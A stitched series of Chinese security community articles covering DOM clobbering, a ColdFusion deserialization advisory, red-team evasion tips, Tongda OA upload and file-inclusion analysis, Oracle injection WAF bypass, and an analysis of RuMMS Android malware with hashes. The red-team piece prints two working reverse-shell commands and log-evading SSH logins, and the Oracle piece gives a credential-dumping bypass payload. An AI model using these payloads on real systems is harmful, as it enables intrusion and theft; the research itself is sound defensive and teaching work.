for(var a = 0; a < element.attributes.length; a+=1) {
let attr = element.attributes[a];
console.log("attribute: " + attr.name);
if(blockAttributes.indexOf(attr.name) != -1) {
element.removeAttribute(attr.name);
a -= 1;
}
}
console.log("\n");
})
输入为paylaod时，输出信息为下：
可以看到在遍历到payload中的form标签时，element.attributes引用的不是form标签中属性，而是payload中的input标签，这时因为payload中的form和input构成了一个HTML集合。而input标签的length属性并未被定义，所以返回undefined，无法进入循环，因此直接跳过了form标签，开始遍历下一个元素。
## 参考资料
1. [Dom Clobbering by Gareth Heyes](http://www.thespanner.co.uk/2013/05/16/dom-clobbering/)
2. [DOM Clobbering strikes back by Gareth Heyes](https://portswigger.net/research/dom-clobbering-strikes-back)
3. [XSS in GMail’s AMP4Email via DOM Clobbering by Michał Bentkowski](https://research.securitum.com/xss-in-amp4email-dom-clobbering/)
4. [Dom clobbering by Web Security Academy](https://portswigger.net/web-security/dom-based/dom-clobbering)
5. [Unsafe Names for HTML Form Controls by Garrett Smith](http://jibbering.com/faq/names/)
6. [浅谈DOM遍历 by jh903](https://www.cnblogs.com/jh903/p/8847922.html) | 社区文章 |
**作者：启明星辰ADLab
公众号：[ADLab](https://mp.weixin.qq.com/s/8_D8xwXwgETItMmJRgp6XQ "ADLab")**
### **漏洞描述**
2019年2月12日，Adobe官方发布了针对Adobe
ColdFusion的安全更新补丁，编号为APSB19-10。补丁中包含启明星辰ADLab发现并第一时间提交给官方的Critical（危急）反序列化漏洞，利用该漏洞攻击者可远程执行任意代码。漏洞编号为CVE-2019-7091，如下图所示：
本次漏洞为Adobe ColdFusion中FlashGateway服务中的漏洞。Adobe
ColdFusion的FlashGateway服务存在反序列化漏洞，未经身份验证的攻击者向目标Adobe
ColdFusion的FlashGateway服务发送精心构造的恶意数据，经反序列化后可远程执行任意代码。
### **漏洞时间轴**
2018年9月21日：将漏洞详情提交给官方；
2018年12月05日：确认漏洞存在并开始着手修复；
2019年2月12日：官方发布正式补丁。
### **漏洞分析**
Adobe
ColdFusion的FlashGateway服务允许flash连接到CFML和CFC模板。当攻击者通过HTTP协议向FlashGateway服务POST精心构造的ActionMessage信息后，FlashGateway服务依次通过各种类型的filter进行invoke()操作。在`flashgateway.filter.SerializationFilter`的invoke方法中，实例化MessageDeserializer类型的反序列工具deserializer并通过`deserializer.readMessage(m)`方法对精心构造的ActionMessage消息进行反序列化，同时将ActionMessage中的targetURI、data等值赋值给MessageBody。
完成序列化过程后，此时ActionContext
context中的内容即为输入流中精心构造的ActionMessage信息。在`flashgateway.filter.AdapterFilter`的invoke方法中，读取ActionContext中的MessageBody信息赋值给serviceName、functionName、parameters等，通过`adapter=locateAdapter(context,
serviceName, functionName, parameters,
serviceType)`方法得到`flashgateway.adapter.java.JavaBeanAdapter`类型的adapter，然后执行JavaBeanAdapter的invokeFunction方法。关键代码如下：
public ActionContext invoke(ActionContext context) throws Throwable {
...
//读取MessageBody信息
MessageBody requestMessageBody = context.getRequestMessageBody();
String serviceName = requestMessageBody.serviceName;
String functionName = requestMessageBody.functionName;
List parameters = requestMessageBody.parameters;
...
if (context.isDescribeRequest()) {
result = adapter.describeService(context, serviceName);
} else {
//adapter为JavaBeanAdapter，执行flashgateway.adapter.java.JavaBeanAdapter的invokeFunction方法
result = adapter.invokeFunction(context, serviceName, functionName, parameters); }
在JavaBeanAdapter的invokeFunction方法中，看到关键代码：`method.invoke(service,
parameters.toArray())`。
其中，目标执行方法method通过`Method method = this.getMethod(parameters, serviceName,
functionName, aClass)`得到；
方法执行对象service 通过`service = aClass.newInstance()`得到；
方法执行参数`parameters.toArray()`通过MessageBody得到。
由此可见，`method.invoke(service, parameters.toArray())`的所用参数都可控，意味着可执行任意方法。
整个流程如下图所示：
### **漏洞利用效果**
### **影响版本**
ColdFusion 11 Update 15及之前版本、ColdFusion 2016 Update 7及之前版本、ColdFusion 2018
Update 1及之前版本。
### **规避方案**
* 修改gateway-config.xml文件的配置，禁止JavaBeanAdapter的使用。
* 升级最新补丁APSB19-10：<https://helpx.adobe.com/security/products/coldfusion/apsb19-10.html>。
* * *
**启明星辰积极防御实验室（ADLab）**
ADLab成立于1999年，是中国安全行业最早成立的攻防技术研究实验室之一，微软MAPP计划核心成员。截止目前，ADLab通过CVE发布Windows、Linux、Unix等操作系统安全或软件漏洞近400个，持续保持国际网络安全领域一流水准。实验室研究方向涵盖操作系统与应用系统安全研究、移动智能终端安全研究、物联网智能设备安全研究、Web安全研究、工控系统安全研究、云安全研究。研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。
* * * | 社区文章 |
# 红队实战攻防技术（二）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：风起[@WgpSec](https://github.com/WgpSec "@WgpSec")团队
## 前言
大家好，我是风起，相信不少小伙伴都阅过本系列的前作
[红队实战攻防技术（一）](https://www.anquanke.com/post/id/249994)，前作以一次真实的红队攻防案例作为展开，引出一系列的知识点及渗透时的一些小Tips。而近期因为相关法规，我们不能再以真实攻防案例作为讲解，所以本章将以攻防思路为主展开讲解，尽量以本地环境复现，望大家谅解。
作为本系列的续章，希望能够面向红蓝双方进行讲解，在进行一些攻击方式分析时，同样也会引起防守方对于攻击的思考。红蓝对抗的意义也正是在这种持续的攻击下不断寻找防御的平衡点，故
**未知攻，焉知防** 。
**本文仅做安全研究作用，切勿违法乱纪** 。
## 幽灵登录
`ssh -T [[email protected]](mailto:[email protected]).1 /usr/bin/bash -i`
相信熟悉红队的小伙伴，不难看出，上面这条命令在日常渗透中，进行登录操作会经常使用，因为他不分配伪终端的方式而不会被w和last等命令记录。所以在某些时候，如果防守方在上机排查时，仅查看日志发现没有异常登录，却没有注意到是否存在异常网络连接时，就会判断为误报，给攻击者可乘之机。
通过上图，大家可以看到没有任何的登录信息，同样lastlog也不会记录本次登录行为。那么这种方式没有办法排查吗？其实不是的，因为攻击者在连接22端口时，并不是没有痕迹，只要连接SSH端口就一定存在记录。
如图，我们从lsof以及ss命令结果中发现了连接服务器的恶意IP地址，那么这里留一个疑问，攻击者还有什么办法可以规避这样的排查方式呢？其实，在全国HW中，常见的隐匿个人主机IP地址的方式有许多，例如：肉鸡代理流量、VPN、基础隐匿设施等手段。而在攻击溯源的过程中，防守方通过攻击肉鸡服务器获取权限从而溯源攻击者信息的手段屡试不爽，除非攻击者愿意在拿下肉鸡权限后长期维护，不然一些水平不错的溯源人员也可以通过相同的方式拿下权限追溯攻击源，当然很少有攻击者愿意花费时间成本在一个肉鸡上，基本上都是用一次换一个。
但是不得不承认，时至今日，肉鸡仍然是非常有效的隐匿及攻击方式。
## SSH隧道隐匿
目前的内网渗透中，市面上有着大量各种各样的代理工具，例如：frp、ew、nps、venom、regeorg等等，根据不同的场景使用的协议也各不相同，也有DNS、ICMP、RDP这些非常规协议代理的工具。但是这些代理工具基本上都被一些杀软和态感所敏感，基本上在非免杀状态下就是落地被杀。所以也更加推荐大家使用一些系统自带的工具进行代理流量，例如：SSH隧道代理，Windows
netsh、iptables等。本段将着重讲解SSH隧道代理的Tips。
这里我们可以着重看一下箭头所指的地方，通过SSH隧道代理的方式，抛开我们VPS用户密码被监测到不谈，真实IP也一览无余的在网络进程以及相关连接中，老道的防守方成员可以很直观的发现是一起
**【SSH隧道代理事件】** ，但是这里也不是我们所需要关注的，毕竟我们不能把所有防守方当傻子，要正视对手的能力。
这里我们采取Nginx反向代理的方式，具体实现方式这里不多赘述，感兴趣的同学可以关注Ngrok或者Heroku等方式的配置，也可以自己使用匿名域名及服务器搭建。
通过上图我们可以看到使用反向代理的地址进行SSH隧道转发可以有效的隐匿真实的IP地址以及IP地址，注意这里的IP地址是Ngrok服务器的地址，从而实现了隐匿的效果。
## 反弹shell隐匿
在我们日常渗透Linux主机的时候，当碰到RCE漏洞的时候，需要进行反弹获取交互shell的时候，通常都会使用以下两条命令。
例1:
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.0.100:2333 > /tmp/s; rm /tmp/s
例2:
bash -c 'exec bash -i &>/dev/tcp/192.168.0.100/2333 <&1'
以上的两个例子可以说是我们日常渗透中最常用的两条反弹shell命令，当然例1的优点是他的流量是进行了加密的，在这种情况下反弹shell执行的命令是无法被流控监测到的，最多可能会报
**隐蔽隧道通信**
的异常事件，但是这种事件对于一个有一定规模的值守单位，真的是太正常了。每天都会发生成千上万起类似的误报，而像向日葵、teamview这一类的报警基本都是直接忽略的。
但是我们所需要注意的也正是这样的反弹方式，无论是例1还是例2我们都会发现都是不可避免的泄露了真实IP地址。其实这里的隐匿方式与上面的SSH隧道代理的原理是一样的。都是通过了反向代理的方式实现的，之前的文章中的渗透操作中也有使用这样的方式，然后有师傅咨询过，所以这里再拿出来冷饭热炒一下。
最终的效果如上图，可以看到反弹shell的地址为反向代理的域名，连接的端口为10075而实际上线的端口并不是这一个，这也仅仅是与前端服务器建立的网络连接，实际真正上线的为前端服务器转发给后端服务器的地址。
## CosbaltStrike Profile
相信绝大多数从事渗透工作的同学对于CosbaltStrike这个工具都不陌生，虽然目前一线的红队已经逐渐从CS转到一些小众的C2设施去，但是不置可否的是CS仍然是非常好用的工具，它所提供的Profile自定义流量特征的功能，如果配置得体搭配域前置技术实现高信誉域名结合，所制造的效果基本上与正常的流量没有差异。
灵活的编写Porfile是非常行之有效的，也不仅仅只是应用于伪造隐匿，在做免杀时，通过配置相关的混淆参数也可以过卡巴斯基的流量查杀，在之前测试免杀时，基本上静态已经过了，但是脚本仍然启动一会就被查杀了，这时通过配置CS
profile的以下两段代码解决。
通过配置 **set obfuscate “true”;** 高度混淆内存中的代码绕过。
而对于我们使用域前置的方式，假设profile不进行任何配置，则会告警。如下图
这时通过配置profile中stage的set cleanup “true”;即可解决。
这里风起哥将自己编写的profile文件传到了Github上，感兴趣的小伙伴可以自行下载进行个性化配置。
**Github:<https://github.com/wikiZ/service_cobaltstrike>**
## 运维惯性密码
在很多时候我们横向拿下主机服务也不一定非要通过正面打漏洞的方式，在某次渗透项目中，我们通过推测运维密码习惯的方式拿下了23台Redis数据库，起初通过配置文件只发现了一个redis数据库密码，但是本机上部署有大量的redis数据库，但是通过对这些redis数据库的端口号与密码分析得到了一个规律。
**zzRedis63902020** 像这个密码，不难猜测密码为前后缀固定格式，中间四位为本机端口号，然后重新组合登录，然后尝试登录，发现确实如此。
然后，懂得都懂。
值得思考的是，这样的密码组合方式拓宽权限的方式真的不要太多了。毕竟运维也是人，不可能一个服务一个密码，但是安全管理规定也要执行，所以很多时候就出现了这些富有规律的密码。
所以像此类攻击获取的权限，也许不是防守方人不行，而真的是路不平了吧哈哈哈。
## 行为测绘
上面讲解了几个红蓝对抗中常碰到的一些Tips，其实就目前一些地方护网项目来看，与常规渗透的区别也并不是很大，所以上面讲的一些方式可能更加适用于全国HW行动中使用，因为无论是人员水准还是重视程度都差异非常大。
**但是不管在日常渗透中还是HW项目中，行为测绘都是非常行之有效的资产测绘手段。**
首先对于梳理企业资产，我们首先需要思考三个W，也就是who? what? where? 字面来看也就是谁的？什么？哪里?
而应用于红队，目前各级护网对于资产归属的划分其实比较严格，例如资产属于总集团还是二级单位或者子公司，是否与集团内网互通？都是需要思考以及确认的点。那么我们首先从who去思考再从what谁和where在哪里去收集，资产的所属单位以及相关的网络信息，例如使用的框架、部署的业务系统、服务、开放的端口、使用的开发语言、域名等等。
不同的群体，可能表现出基本的独有的特征，当我们能掌握到这个特征，那么我们就能尽可能识别出这个群体里的所有个体，而这些所谓的行为特征在网络空间测绘里表现出的是这个设备各个端口协议里的banner特征。
目前在网络空间测绘里常用的通用组件指纹识别形成的指纹库就是利用了通用组件通用的默认配置特征这个“行为”来进行识别的。
也就是说，当我们掌握了一定的目标资产特征的时候，就可以根据我们对指纹的理解编写规则更加精准的匹配资产。并且通过资产测绘的方式也可以尽量减少主动扫描被发现的概率，因为一般的目标组织，他的对外业务服务并不会频繁的改动，所以我们得到的信息通常是较为精准的。
**这里我们最常提取的特征像favicon图标hash码，HTTPS证书序列号，前端代码段，服务连接banner等。**
例如我们去做漏洞应急，以exploit-db上的公开漏洞举例。
该举例漏洞为国外的一个WIFI摄像头设备的未授权RCE漏洞，我们可以看到公开的漏洞POC中得到了两个关键信息，该漏洞是通过连接目标设备telnet
23端口，因为default用户登录未鉴权导致。所以我们通过提取 **port:23 +”goke login:”** 这两个特征作为指纹关联受影响的资产。
**通过Kunyu关联资产，发现全网共有318台脆弱资产。**
同样对于内网中的一些隐秘资产也可以采取HOSTS碰撞的方式。这种方式也是源于在企业内网中可能使用了很多Nginx反向代理，仅能使用配置好的ServerName的内网域名进行访问，那么我们在外网使用HOSTS碰撞的方式就可以碰撞出很多仅能内网使用的业务平台，直通内网业务！
这里仅做抛砖引玉的作用，更高效的企业资产收集方式可以关注 **Kunyu(坤舆)** 的使用。
**[knownsec/Kunyu: Kunyu, more efficient corporate asset collection
(github.com)](https://github.com/knownsec/Kunyu)**
## 后记
再次感谢各位读者的支持，我一直觉得写文章是一件很有意思的事，把自己所学的，总结的经验以文字的形式传递下去，我最初的想法也是如此，我认为哪怕只有一位师傅看到我的文章后觉得有所收获，那么我觉得我所做的就不是没有意义的。
本文作为红队攻防系列的续章，大概也是末章。在我的TODO中，之后会发布一篇 **新型网络犯罪攻防研究**
对这个方向从攻击思路、情报研究到研判分析进行深入讲解，敬请期待。
Kunyu（坤舆），后期持续维护更新，目前已经着力于结合测绘数据进行深度信息收集，并且后续会将更新点着力于此。同样应用于打击新型网络犯罪中也有显著效果，会在之后的文章以实战的方式展示给大家。
**其实最近风起的心情非常不错，因为我有了一个可爱的学霸女朋友，她叫知之，我也喜欢叫她吱吱。同样也是我的初恋。我们之间非常有缘分，真的就是我心目中的理想女友，希望我们能够天长地久，她也会是我奋斗的动力，有机会一定介绍给大家认识。**
**最后祝大家心想事成，美梦成真！**
## Community
有想要认识一下，或者交流技术的同学，可以通过以下方式联系作者:
欢迎大家来了解一下，WgpSec狼组安全团队：
<https://mp.weixin.qq.com/s/3bKG3ZqBebxpWXfZ9CVU-g> | 社区文章 |
## 前言
漏洞公布已经有几天时间了，凑个周末也看了看，`ispirit/im/upload.php`已经有很多前辈分析过了，这里就不在赘述，在分析复现过程中发现了一些问题记录一下，分析的版本主要是2015和v11，在源码解密中，测试了v11和2015，2015使用的是zend5.3，v11使用的是zend5.4。
## 文件上传1
另一处未授权文件上传：
general/file_folder/swfupload.php
引入的文件中没有对权限的校验，首先获取了`$_POST["PHPSESSID"]`,设置会话id，此处没有什么限制继续向下看
Line：23-29 典型的变量覆盖
这里判断了是否是post上传文件以及文件上传中是否产生错误，只要post构造表单传入一个正常大小的文件即可满足。
Line 35~61
需要传入参数`FILE_SORT`，满足条件则会执行数据库查询当前用户的文件容量，这里看到了SQL语句中拼接了`$_SESSION["LOGIN_UID"]`,再结合上边的变量覆盖是不是可以导致注入呢？答案是不行的，因为在上文引用文件中引入了`inc/common.inc.php`
function CheckRequest(&$val)
{
if (is_array($val)) {
foreach ($val as $_k => $_v ) {
checkrequest($_k);
checkrequest($val[$_k]);
}
}
else {
if ((0 < strlen($val)) && preg_match("#^(MYOA_|GLOBALS|_GET|_POST|_COOKIE|_ENV|_SERVER|_FILES|_SESSION)#", $val)) {
exit("Invalid Parameters!");
}
}
}
....
checkrequest($_REQUEST);
if (0 < count($_COOKIE)) {
foreach ($_COOKIE as $s_key => $s_value ) {
$_COOKIE[$s_key] = strip_tags(securerequest($s_value));
$$s_key = $_COOKIE[$s_key];
}
reset($_COOKIE);
}
if (0 < count($_POST)) {
$arr_html_fields = array();
foreach ($_POST as $s_key => $s_value ) {
if (substr($s_key, 0, 15) != "TD_HTML_EDITOR_") {
if (is_array($s_value)) {
$_POST[$s_key] = securerequest($s_value);
}
else {
$_POST[$s_key] = strip_tags(securerequest($s_value));
}
$$s_key = $_POST[$s_key];
}
else {
unset($_POST[$s_key]);
$s_key = substr($s_key, 15);
$$s_key = securerequest($s_value);
$arr_html_fields[$s_key] = $$s_key;
}
}
reset($_POST);
$_POST = array_merge($_POST, $arr_html_fields);
}
if (0 < count($_GET)) {
foreach ($_GET as $s_key => $s_value ) {
$_GET[$s_key] = strip_tags(securerequest($s_value));
$$s_key = $_GET[$s_key];
}
reset($_GET);
}
作用就是对传入进来的内容进行正则判断，如果存在`_COOKIE、_SESSION`等字符串则进行拦截，所以此处无法利用，继续向下看。
重点在于Line:91-93和97-98
这里将插入数据库的内容写入到了当前目录下的`aa.txt`或者`bb.txt`。
在流程的最后返回了一串md5加密的字符，那么上传文件的地址就需要从上文中的`aa.txt`和`bb.txt`来获得。
构造上传数据包：
可以看到文件名是随机字符+.+原文件名
因为在上传表单中传入了`SORT_ID=1`所以sql语句会保存在`bb.txt`
拼接起来就是我们上传后的文件名了`/general/../../attach/file_folder/2003/xxx.xxxx.xxx`
在v11版本中此文件进行了修改删除了保存到文件的代码。
if ($SORT_ID == "0") {
$query = "insert into FILE_CONTENT(SORT_ID,SUBJECT,CONTENT,SEND_TIME,ATTACHMENT_ID,ATTACHMENT_NAME,ATTACHMENT_DESC,USER_ID,CONTENT_NO,CREATER) values ($SORT_ID,'$SUBJECT','','$SEND_TIME','$ATTACHMENT_ID','$ATTACHMENT_NAME','$ATTACHMENT_DESC','" . $_SESSION["LOGIN_USER_ID"] . "','$CONTENT_NO','" . $_SESSION["LOGIN_USER_ID"] . "')";
exequery(TD::conn(), $query);
}
else {
$query = "insert into FILE_CONTENT(SORT_ID,SUBJECT,CONTENT,SEND_TIME,ATTACHMENT_ID,ATTACHMENT_NAME,ATTACHMENT_DESC,USER_ID,CONTENT_NO,CREATER) values ($SORT_ID,'$SUBJECT','','$SEND_TIME','$ATTACHMENT_ID','$ATTACHMENT_NAME','$ATTACHMENT_DESC','','$CONTENT_NO','" . $_SESSION["LOGIN_USER_ID"] . "')";
exequery(TD::conn(), $query);
$CONTENT_ID = mysql_insert_id();
add_log(16, _("新建文件，名称：") . $SUBJECT, $_SESSION["LOGIN_USER_ID"]);
但是在insert
sql语句中可以看到拼接了`$SORT_ID`,在`exequery`函数中最后sql语句的执行会进行检查是否有敏感函数，有的话就会打印出错误的语句，相应文件在`inc/conn.php`
因为在执行sql语句之前文件已经上传成功，所以语句的错误并不妨碍文件上传。
$query = "insert into FILE_CONTENT(SORT_ID,SUBJECT,CONTENT,SEND_TIME,ATTACHMENT_ID,ATTACHMENT_NAME,ATTACHMENT_DESC,USER_ID,CONTENT_NO,CREATER) values ($SORT_ID,'$SUBJECT','','$SEND_TIME','$ATTACHMENT_ID','$ATTACHMENT_NAME','$ATTACHMENT_DESC','','$CONTENT_NO','" . $_SESSION["LOGIN_USER_ID"] . "')";
sort_id可控所以这里也是一个insert注入
在`file_content`表中`sort_id`的是`int(11)`，所以要使用字符截断控制长度，但是由于没有回显和过滤了一些函数，需要找到二次注入点或者找到一个可以显示`sort_id`的地方，由于还要写论文（毕业重要），时间问题就没有继续寻找。
## 失败的文件写入
搜索`file_put_contents`，文件`general/workflow/document_list/input_form/form6.php`没有校验权限，并将`$MAINDOC_ID`写入到29.txt
而变量`$MAINDOC_ID`可以结合变量覆盖漏洞来传入，因为在`gateway.php`中的引入过程中，引入了`inc/common.inc.php`
结果是因为`strip_tags`的处理，无法输入php标签，此处利用失败
## 文件包含
<?php
ob_start();
include_once "inc/session.php";
include_once "inc/conn.php";
include_once "inc/utility_org.php";
if ($P != "") {
if (preg_match("/[^a-z0-9;]+/i", $P)) {
echo _("非法参数");
exit();
}
session_id($P);
session_start();
session_write_close();
if (($_SESSION["LOGIN_USER_ID"] == "") || ($_SESSION["LOGIN_UID"] == "")) {
echo _("RELOGIN");
exit();
}
}
if ($json) {
$json = stripcslashes($json);
$json = (array) json_decode($json);
foreach ($json as $key => $val ) {
if ($key == "data") {
$val = (array) $val;
foreach ($val as $keys => $value ) {
$keys = $value;
}
}
if ($key == "url") {
$url = $val;
}
}
if ($url != "") {
if (substr($url, 0, 1) == "/") {
$url = substr($url, 1);
}
if ((strpos($url, "general/") !== false) || (strpos($url, "ispirit/") !== false) || (strpos($url, "module/") !== false)) {
include_once $url;
}
}
exit();
}
?>
?>
对`$P`进行了是否为空、正则校验以及当前用户是否登录，只需要使`$P`为空即可，在下面的`if $json`分支中使用了`include_once
$url`，所以只要在传入的json数据中使URl参数中包含`ispirit/`、`general/`、`module/`再跳转目录到包含的文件即可进行任意文件包含。
payload：json={"url":"xxx"}
v11测试：
## 参考
* <https://forum.90sec.com/t/topic/883>
文笔不好,内容某个方面或许偏颇,不足之处欢迎师傅前辈们指点和纠正，感激不尽。 | 社区文章 |
#### 0x00 前言
最近学习了oracle注入，和mysql比语法差异还是有的，做下小记录，后面是尝试绕狗。
#### 0x01 简单fuzz
##### 空白符
`%09 %0A %0B %0C %0D`
当注入类型为数字型即`id=1(fuzz点)union select`
全字符url编码fuzz一遍后，发现`%2E %44 %46 %64 %66`这些字符添加不影响SQL语句运行。
url解码后为 `. D F d f`
##### ALL | DISTINCT
`union ALL select DISTINCT null, to_nchar(UNAME), to_nchar(UPASS), null from
ADMIN`
##### 函数
decode ascii chr
查询当前用户的第一个字段是否为S 是返回1否返回0
select decode(substr((select user from dual),1,1), chr(83), 1, 0) value from dual;
select decode(ascii(substr((select user from dual),1,1)), '83', 1, 0) value from dual;
case when instr
select decode((instr(user, chr(83), 1, 1)), 1, 1, 0) value from dual;
select case instr(user, chr(83), 1, 1) when 1 then 1 else 0 end value from dual;
lrpad rpad
select decode('S', rpad(user, 1,1), 1, 0) value from dual;
select decode('S'||'Y', rpad(user, 2,1), 1, 0) value from dual;
select decode(concat('SYS','TEM'), rpad(user, 6,1), 1, 0) value from dual;
更多函数
chr,concat,initcap,lower,lpad/rpad,nls_initcap,nls_lower,nls_upper,regexp_replace,regexp_substr,replace,trim/ltrim/rtrim,soundex,substr,translate,upper
#### 0x02 绕狗
思路很简单，当用`/*sql语句*/`注释把语句包裹起来时就不会拦截了，当然sql语句也无法正常执行了。
要做的就是前面带上`/*`闭合的`*/`直接放在结尾注释后面，而且不影响sql语句的执行，我是找到了一个正则函数 `REGEXP_LIKE`带上`/*`。
`and REGEXP_LIKE(null, '/*') union select null, to_nchar(UNAME),
to_nchar(UPASS), null from ADMIN--*/`
sql语句也可以正常执行。
这样也行
#### 0x03 小结
学习了基础的oracle注入知识，尝试绕狗这里我是官网测试的，实际环境可能有不同，个人觉得注入bypass这类还得看对sql语法的了解，越熟悉bypass的思路多些。
#### 0x04 参考
[https://www.t00ls.cc/viewthread.php?tid=57124&highlight=oracle](https://www.t00ls.cc/viewthread.php?tid=57124&highlight=oracle) | 社区文章 |
# 分析安卓恶意软件RuMMS新变种
|
##### 译文声明
本文是翻译文章，文章来源：https://www.zscaler.com/
原文地址：<https://www.zscaler.com/blogs/research/rumms-malware-back-enhancements>
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
近期，Zscaler
ThreatLabZ团队发现了一个恶意软件，该恶意软件源自于名为mmsprivate[.]site的虚假MMS网站上。该网站诱导用户点击查看私人分享的照片，在用户点击后，将会在手机上下载一个恶意Android软件包（APK）。该恶意软件将自身伪装成“Сooбщениe”，翻译为中文是“信息”的意思，并通过利用Android
AccessibilityService来执行其恶意功能，被利用的这一功能可帮助残障人士使用Android设备和应用程序。在恶意软件运行后，它会隐藏自身，并暗中监视被感染用户。
FireEye的研究人员在2016年对RuMMS恶意软件进行过一次分析（ <https://www.fireeye.com/blog/threat-research/2016/04/rumms-android-malware.html>
），而我们此次所分析的恶意软件变种具有一些与原始样本相似的特征，同时也进行了部分修改，包含了一些新的功能，因此我们将本次分析的新变种称为RuMMS
v2.0。
## 样本详情
APP名称：Сooбщениe
Hash值：c1f80e88a0470711cac720a66747665e
包名称：ru.row.glass
## 详细分析
### 下载和安装
恶意软件通过网站mmsprivate[.]site/feel/
实现传播，并且很可能会通过短信和电子邮件实现进一步扩散。一旦用户点击该链接访问，恶意页面就会诱导用户点击一个按钮，在点击这个按钮之后便可以下载恶意APK文件。该恶意页面所使用的语言为俄文，下图为截图及相应翻译：
该APK来自未知来源，因此Android系统默认不允许安装，需要用户点击“允许安装未知来源的APP”才可以成功安装恶意应用程序。具体步骤如下。
### 启用AccessibilityService
在安装完成后，该应用程序会将自己伪装为一个消息应用程序（可以从下图中的图标看出）。在第一次运行时，应用程序会询问用户是否启用Android
AccessibilityService。在用户允许启用后，应用程序将从主屏幕上消失。
如果被感染用户没有启用AccessibilityService，那么诱导界面将持续出现在屏幕上（请参见上述图片中的第二个屏幕截图），从而继续引导用户启用该服务。
一旦启用AccessibilityService，间谍软件就会启动，会将Сooбщениe
APP修改为默认的消息APP。该间谍软件通过使用AccessibilityService的功能，在提示要求确认修改此应用程序为默认消息应用程序时，自动选择“是”，这一过程中用户将无法看到这一提示信息。
### 通信
根据我们的分析，在初始化设置完成后，恶意软件就开始向命令和控制（C&C）服务器发送详细信息，C&C服务器的信息以硬编码的方式保存。向C&C服务器发送的请求及其回复的响应都采用Base64编码，下图展现了解码后的内容：
在上图中，我们可以看到被感染设备发送给C&C服务器的详细信息。C&C服务器回复了命令“40”和APP的名称。我们注意到，命令“40”代表禁用应用程序。
在要禁用的应用程序列表中，包含许多知名的反病毒应用，其中包括：Trend Micro、Dr.
Web、AhnLab、Avira、Sophos、McAfee、F-Secure。
恶意软件会确保这些反病毒应用程序无法使用。一旦被感染用户试图打开其中的一个应用，恶意软件会立即将其关闭。这一行为类似于针对俄罗斯银行Sber
Bank的恶意程序，该恶意程序不允许任何Sber Bank应用启动。
### 发送短信与窃取短信内容
恶意软件等待来自C&C服务器的命令，并根据该命令执行相应的功能。分析过程中我们发现，命令“11”用于发送SMS消息到任意指定的号码，而C&C服务器还可以指定短信的正文内容。
经过进一步分析，我们还发现恶意软件可以窃取被感染设备上的短信内容。该功能可以用于窃取银行相关的验证码和其他信息。下图展示了这一功能的相关代码：
### 窃取通讯录
该恶意软件还能够窃取被感染设备上的联系人信息。我们相信这一功能可能会被用于借助SMS-Phishing（SMiShing）技术来进一步传播恶意软件。
### 呼叫特定号码
该恶意软件还具有呼叫号码功能。在下图中的例子中，需要被呼叫的号码是由C&C服务器发送编码后的信息来指定的。
## 分发方式
我们注意到另外一个更有趣的事情，就是恶意软件的分发方式。每次我们访问恶意链接时，都能够看到一个新的恶意应用程序，这些应用程序尽管具有相同的功能，但它们的应用程序名称、软件包名称甚至Android证书签名都不相同。我们还发现，应用程序使用不同的C&C服务器，其格式为：http[:]//<域名>[.]com/<随机字符>/index.php。我们注意到目前存在如下与C&C服务器相关联的域名：
Sr # Domain Name # of apps contacted
1 sisirplus[.]com 172
2 vietusprotus[.]com 50
3 glowbobget[.]com 45
4 hellowopung[.]com 102
5 quostpeopls[.]com 24
6 bannerincbest[.]com 102
7 campuphome[.]com 9
8 wewelowertick[.]com 3
9 bigslogous[.]com 25
10 zavannerweb[.]com 55
## 总结
RuMMS
v2.0在原有版本的基础上，对一些功能进行了增强，对部分功能进行了修改和更新。在经过一段休眠期之后，目前的新变种又重新活跃在网络中。在2018年5月末，Zscaler
ThreatlabZ团队共在野外发现了580多款类似的应用程序。我们建议广大用户始终避免点击未知的链接，永远不要相信通过短信或电子邮件方式收到的可疑网址，并坚持从官方应用商店下载应用。
## IoC
下面列举了近期发现样本的SHA256哈希值，包含580个以上应用的更完整列表请参阅： <https://pastebin.com/7tfmsjmb> 。
2cc08d98b2bc11047791e722c2f0e7639f4c5772cda0fb5ecabec1b55914a3c2
6ec7fba253b76d3b8090a98c6e87c662af8bcda1694a617cce7db59feb08e6f1
96a8393e583ff1a12df458534790dfd2551861a4fd600f741e36023682d9d9be
1092d809488da433c5d5433a4a1efdc2e32445637e44b6dc77b7fa0e4d536c43
762c5d1b1b95c46aa6727a49ae27e2b19863d406da2091e50ffe13c79211ffac
af6773b1dcec3c3a1d05964ed9d245c2271e96835ffbe3fc543912dc602a64f9
cfc50b2e3da760a2369dbb5bf45fc8d3cdc37a2ad020084aafe2acb53d8603d6
707456abf552e13ba4ece378d0a7a672bd8fbc22185a478478c81fc7e5c96ce9
a8352f93f7c23953a6deeace67205216c1d37d7f8f6207147d7b93cf272fca9c
751f1ed896639b62e433fcbce5d87b1baeb7a5a82c3a855d30fa4c4c8dddfd81
a1ff7ca12de6cbf36a67aa10ee95202f0c37b8b953f916e9f1780a10042e36af
4a429aae275be2e06ce751537deae327ba377e2e96fc040611f910957b64fcf5
83728b3d17974df0ac424845668496a2bbf6eaa166e899ef2bf842dae2359bf6
be4ceb20c9ddf2ddba90988a41ee68f43f205860d9a66d5ac8da500f55fb9d21
09aefb181d949be189a580e5415b74f372d61a13edd86930e6aa0046231813fe
b5a7683172d38220c4d179c525b9dd8ffaa28b6b5cb9c1b45bac7a72327b7da6
383ddecdcdbe2e43035e34307a026e66f79e0b5556f231684db876b3104f0e10
d6f172b04d2e4d1eb7d5e58b16d9768cfe59c32d987ca9b4534e9cf859cce8f4
f18f523d581acb3136e85cb7b2a056f88e48f2d1dfe21f003ef3f12269e470e1
47e105ef7874e30903d6edadeaa5c2731280663f48c7fb5004cc7668a3ac2a81
d3ca7e61067f527f7cefdddabb0b770ae8ad6d38a89b0f0bccbed995893cea19
1c66a552c0090f81f7b2ce11c8974bbd2aea75afc1092ad5e8d6f8a1ccf416f3
21569d8d302180098231efa76482c5a673f344cba8b4654130fada58aad7e62f
f2c1b8bd0777cd69329fe22fec8519d810e41b000b92ee13de5629dcd3e875ad
98ab7f612c7a1dc3fd44fbd045a6cf21d8c9240dbad08f847423df5f22d7b460
758fbbd8a142933f9c5a9866ea7b7c26789da293c93ec3223f5661f62939325c
0b246a1ba24761fb4d6f105d210af9e9c2507b475f13084780a7f9e8145a91a6
